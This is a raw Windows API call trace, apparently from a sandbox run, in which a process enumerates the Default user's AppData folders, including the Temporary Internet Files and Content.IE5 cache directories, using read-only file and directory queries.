	[0082.371] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Ringtones" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\ringtones"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.371] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.371] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files"), fInfoLevelId=0x0, lpFileInformation=0x123a80a8 | out: lpFileInformation=0x123a80a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7364c0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.372] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.372] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7364c0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7364c0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0082.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedb45673, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0082.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1
	[0082.373] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.373] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5"), fInfoLevelId=0x0, lpFileInformation=0x123a8238 | out: lpFileInformation=0x123a8238*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.375] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.375] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e3cd240, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0082.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1
	[0082.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1
	[0082.376] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1
	[0082.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1
	[0082.377] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.377] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.377] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs"), fInfoLevelId=0x0, lpFileInformation=0x123a8468 | out: lpFileInformation=0x123a8468*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.378] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.378] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.378] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.378] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.378] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.379] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a8508 | out: lpFileInformation=0x123a8508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k"), fInfoLevelId=0x0, lpFileInformation=0x123a8558 | out: lpFileInformation=0x123a8558*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.379] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.379] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.379] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.379] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a85f8 | out: lpFileInformation=0x123a85f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c"), fInfoLevelId=0x0, lpFileInformation=0x123a8648 | out: lpFileInformation=0x123a8648*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.380] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.380] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.380] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123a86e8 | out: lpFileInformation=0x123a86e8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
